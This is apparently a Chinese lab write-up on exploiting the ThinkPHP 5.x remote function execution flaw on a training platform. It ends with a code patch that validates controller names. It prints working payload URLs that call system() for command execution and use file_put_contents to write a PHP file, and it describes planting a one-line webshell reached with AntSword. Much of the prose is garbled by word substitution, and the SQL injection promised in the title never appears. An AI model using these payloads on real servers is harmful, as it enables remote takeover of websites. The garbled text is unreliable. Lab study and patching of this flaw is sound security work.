ThiThinkPHP5.x 远程函数执行与sql注入

血舞·狂沙

注释

尝试地点：ThinkPHP5.x 长途函数施行取sql注进_宁静龙-专注做企业收集宁静效劳取收集宁静培训! (anquanlong.com)
常识梳理：
PoC，齐称“Proof of Concept”，中文“观点考证”，常指一段破绽证实的代码。
Exp，齐称“Exploit”，中文“利用”，教唆用体系破绽停止进犯的行动。
Payload，中文“有用载荷”，指胜利 exploit 以后，实正正在目的体系施行的代码或指令。
Shellcode，简朴翻译“shell 代码”，是 Payload 的一种，因为其创立正背/反背 shell 而得名。

（用蚁剑连上以后，发明那是宁静龙布置正在阿里云上的情况）
​ 起首测验考试了长途函数破绽的初初语句：
?s=index/\think\app/invokefunction&function=system&return_value=&command=
可施行Linux号令

然后我们根据提醒来写进一个文件，phpinfo的功用
利用到了file_put_contents函数（POC阐发）
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=./test.php&vars[1][]=

回隐出了数字18，暗示我们写进文件胜利
接着停止会见
test.php

呈现如上页里，胜利利用破绽。
接着我借测验考试了一句话木马的写进，谜底明显，也是能够写进并利用的。
最初蚁剑毗连便可。

利用完破绽，关于我们来讲最主要的教会来建复
接下去进修建复那个破绽
1.增加一段代码到App.php的554止
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

修正以后，利用本来的poc发明生效了
破绽建复胜利。

免责声明：假如进犯了您的权益，请联络站少，我们会实时删除侵权内乱容，感谢协作！